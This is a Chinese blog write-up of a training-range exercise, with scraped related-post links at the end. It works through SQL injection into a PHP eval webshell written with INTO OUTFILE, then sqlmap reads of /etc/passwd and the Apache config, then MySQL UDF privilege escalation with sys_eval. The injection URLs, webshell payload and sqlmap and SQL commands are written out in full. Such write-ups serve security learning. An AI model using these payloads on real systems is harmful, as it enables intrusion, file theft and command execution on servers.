从去年12月末到现在2月中,也算是把这个靶场的大多数题目刷了一遍,自己也能算的上一个初学者把,本文具体的教程在b站上有(建立靶场的师傅),而本文记录自己的解题和思考过程。如果之前没有接触到这些知识点的同学,可能会感觉到比较吃力,这是正常的。

哈兹本得的个人空间_哔哩哔哩_Bilibili


题目URL

http://106.15.50.112:8023/

目录

解题过程

sql注入写马

提权

准备udf文件(提权文件)

实施


解题过程

sql注入写马

  1. 寻找注入点
  2. 寻找网站真实路径
  3. 写马失败,寻找可上传马的路径
  4. 上传成功,蚁剑连接

题目既然说了sql注入,又说flag在服务器根目录,所以仅仅是能注入获取数据库信息还是不行的,还得利用sql注入写入木马。

首先寻找到注入点。--存在注入的URL

http://106.15.50.112:8023/?r=content&cid=1

使用order by 语句 和union 注入 得知注入语句为 其中11 为注入点。

http://106.15.50.112:8023/?r=content&cid=-1%20and(1)UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13

接下来我们会有第二个问题 sql注入咋写马呢?

原理很简单:就是用into outfile函数将一个可以用来上传的php文件写到网站的根目录下

那么使用语句 

http://106.15.50.112:8023/?r=content&cid=-1%20and(1)UNION SELECT 1,2,3,4,5,6,7,8,9,10,<?php @eval($_REQUEST['aaa']);?>,12,13 into outfile "/var/www/html/aaa.php"

我们去访问,发现访问不到。。。。????用sqlmap也是一样的

所以就引入了另一个知识点

如果自己搭建过网站的话,自然要知道web应用的位置默认都在/var/www/html/,我们一般网页的文件都是在这上面,但是如果开发者设计的话可以在/var/www/html/ 后修改网页文件存放位置。(这个是需要一点经验  。。。。)

如何寻找web文件放置的地方呢(写入木马的地址)

下面仍然是利用mysql的函数

sqlmap -u 'http://106.15.50.112:8023/?r=content&cid=15' --dbms "mysql"  --file-read "/etc/passwd" --technique U

当然 sqlmap得到得信息不会显示出来,而是会在保存在sqlmap的文件夹中。

 找到文件位置,打开文件(注意是  .local   有个 "." 需要注意)

没有关键信息,我们再查看其他的配置文件(这种文件名,一般情况都是默认)

sqlmap -u 'http://106.15.50.112:8023/?r=content&cid=15' --dbms "mysql"  --file-read "/etc/init.d/httpd" --technique U

得到关键config文件的路径

sqlmap -u 'http://106.15.50.112:8023/?r=content&cid=15' --dbms "mysql"  --file-read "/etc/httpd/conf/httpd.conf" --technique U

找到的web文件放置的路径,这就是我们要上传木马的路径

接下来手动用sqlmap 写马都可以,这里选的是手动,用sqlmap写马的原理可以看这里。

sqlmap之--os-shell命令执行原理 - My_Dreams - 博客园

写马POC

http://106.15.50.112:8023/?r=content&cid=-1%20and(1)UNION SELECT 1,2,3,4,5,6,7,8,9,10,<?php @eval($_REQUEST['aaa']);?>,12,13 into outfile "/var/www/html/whalwl/aaa.php"

继续检测

这里又失败了,为什么了呢?,又涉及到经验问题了,服务器一般不会给web根目录写文件的权限(实际上能sql注入写马的条件比较苛刻),不过我们可以继续寻找子文件夹,看是否能上传。

下面也不啰嗦了,按照群主的视频教程,直接是能上传到 image 目录下,

http://106.15.50.112:8023/?r=content&cid=-1%20and(1)UNION SELECT 1,2,3,4,5,6,7,8,9,10,"<?php @eval($_REQUEST['aaa']);?>",12,13 into outfile "/var/www/html/whalwl/images/aaa.php"

 shell管理工具连接

 看到flag

但问题会有这么简单么,在实际上我们用木马连接后,权限很小,不想之前的CTF或者一些靶场一样。 为了使我们权限提高,还需要经过一个提权的过程。

提权

准备udf文件(提权文件)

关于提权有很多种方法,我也是第一次学到提权。。。

红蓝对抗提权篇之一文看懂提权 - FreeBuf网络安全行业门户

简单的说一下,这里使用的是mysql udf提权,手动。。

下面采用UDF提权的方法,简单说一下。

udf 全称为:user defined function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。

udf 文件后缀一般为 dll,由C、C++编写

UDF本意上是为了程序功能更好的扩充,但由此产生的便利也导致攻击者可以采取这种方法获取系统权限从而执行危险命令,下面列出mysql udf提权的步骤

【SQL注入】UDF提权命令执行 - FreeBuf网络安全行业门户

先到sqlmap上找到udf文件,要注意到这个文件的后缀是so_,不是so ,所以还需要编译一下,具体原因请仔细看上方链接。

在这里利用 cloak.py 给 udf文件解码

POC

python cloak.py -d -i  lib_mysqludf_sys.so_

修改名称为aaa.so

同样,还有一个和我们上面遇到的一个类似的问题,上传这个文件同样需要路径,这里又要引入一个新概念

plugin

plugin是插件的意思,通常是用与对某个现有的架构进行扩展。

我们把这个udf文件放入到plugin文件才能真正产生作用。

实施

  1. 找到数据库名称,密码
  2. 查找plugin路径
  3. 上传udf文件
  4. 执行系统命令

首先在配置文件找到了数据库登陆信息

登陆数据库,查找plugin路径

show variables like '%plugin%'

在该路径把udf文件上传,我的是aaa.so

之后在数据库输入命令,执行提权文件

create function sys_eval returns string soname 'aaa.so';

失败了,但不是我们的原因,因为之前已经有人执行过这个命令了,所以数据库报错。

命令执行打开flag

水平原因,写的应该不是很好,尽管还是有一些思路点没有讲到,但是已经尽量的站在我的角度上分析了,希望能给师傅们一点点帮助。

最后,感谢安鸾靶场,让我寒假没有在家摆烂,白嫖了一个不错的安全靶场。

我赌我一年的辣条,这不是广告。。。。


参考链接:

【SQL注入】UDF提权命令执行 - FreeBuf网络安全行业门户

数据库之Mysql提权 - FreeBuf网络安全行业门户

plugin的认识与使用_她还会来吗的博客-CSDN博客

SQLMAP渗透笔记之交互写shell及命令执行(即os参数的使用)_Birdman-one的博客-CSDN博客_sqlmap 执行系统命令

sqlmap 指定 数据库类型_注入工具 -- sqlmap(注入参数)_草三冉CSR的博客-CSDN博客

真实渗透改编--综合渗透 sql注入写马+文件上传+udf提权 安鸾靶场SQL注入学习相关推荐

  1. 任意文件上传mysql_BigDump 跨站脚本、SQL注入、任意文件上传漏洞

    发布日期:2012-11-28 更新日期:2012-12-04 受影响系统: ozerov BigDump 0.29b 描述: ------------------------------------ ...

  2. 【甄选靶场】Vulnhub百个项目渗透——项目十六:FristiLeaks_1.3(文件上传,py脚本改写,sudo提权,脏牛提权,源码获取)

    Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目十六:FristiLeaks_1.3(文件上传,py脚本改写,sudo提权,脏牛提权,源码获取) 靶场地址

  3. 泛微OA V8 SQL注入漏洞和文件上传漏洞

    fofa语句 app="泛微-协同办公OA" SQL注入 在泛微OA V8中的getdata.jsp文件里,通过gatData方法将数据获取并回显在页面上,而在getData方法中 ...

  4. web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示

    注(以下环境皆是自己在本机搭建,请勿在公网真实操作) 1.注入 1.1 SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶 ...

  5. 文件上传java前端怎么写_Javaweb文件上传的前端和后端

    上传文件的分类: 无论什么方式上传文件,都要用post提交 方式一: 前端:表单方式上传文件 后端: 使用上传技术是apache中的Commons-fileupload.jar commons-io. ...

  6. fopen文件路径怎么写_PHP文件上传

    文件系统处理的作用: 1. 所有的项目离不开文件处理 2. 可以用文件长时间保存数据 3. 建立缓存, 服务器中文件操作 文件处理 1. 文件类型 以Linux为模型的, 在Windows只能获取fi ...

  7. Java写file文件上传,在线预览思路

    需要考虑的 1.存储路径区根据时间进行区分,例如根据年月份存放不同的文件目录/20220303 2.上传的文件为避免文件名相同,文件名存数据库,存储存放的文件名为UUID+后缀(如果不需要在线预览,则 ...

  8. 全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】

    靶机地址:https://www.vulnhub.com/entry/imf-1,162/ 靶机难度:中级(CTF) 靶机发布日期:2016年10月30日 靶机描述:欢迎使用" IMF&qu ...

  9. 渗透测试公司 对网站文件上传漏洞的安全扫描与检测

    撸了今年阿里.头条和美团的面试,我有一个重要发现.......>>> 很多客户网站以及APP在上线运营之前都会对网站进行渗透测试,提前检测网站是否存在漏洞,以及安全隐患,避免因为网站 ...

  10. 【甄选靶场】Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)

    Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析) 靶场地址

最新文章

  1. php url 安全性,在php中获取url内容的安全性
  2. 多线程处理器 适用于 已知要处理任务的个数,进行多线程处理
  3. leetcode算法题--分隔链表
  4. 使用FP-growth算法发现频繁项集
  5. 【Pycharm】专业版连接xshell 远程服务器
  6. Java技术:为什么不推荐使用BeanUtils属性转换工具
  7. Windows系统下将目录挂载为一个磁盘并分配盘符
  8. 大型网站系统架构实践(六)深入探讨web应用集群Session保持
  9. Matlab2019 中文显示问题(乱码与方框)
  10. HTML5UI横向排列,5个实用的UI排版技巧,让你的作品更细致
  11. 10个比较有用的jQuery插件
  12. 苹果服务器怎么配置文件,苹果CMS数据库配置文件在哪
  13. SQL 用户行为路径分析
  14. java老九_【老九】【Java】小议转义字符
  15. C/C++实现刮刮乐-刮奖区,刮出一套房
  16. 破解“无法复制粘贴”
  17. Linux发行版之间有什么区别?
  18. 常见电机分类和驱动原理动画
  19. Swoole实现基于WebSocket的群聊私聊
  20. iphone4安装使用微信

热门文章

  1. JSTL 标签大全详解
  2. RGB颜色值在线转换工具
  3. AI如何识别西瓜和冬瓜?
  4. 为什么我们不能坚持?
  5. 如何在Windows下使用DOS命令进入MySQL数据库?
  6. ios开发eaaccessory案例_iOS App 连接外设的几种方式
  7. JQuery淡出淡入动画
  8. Html5网页录音,js录音mp3
  9. Insert键与vs黑标
  10. chatter个人理解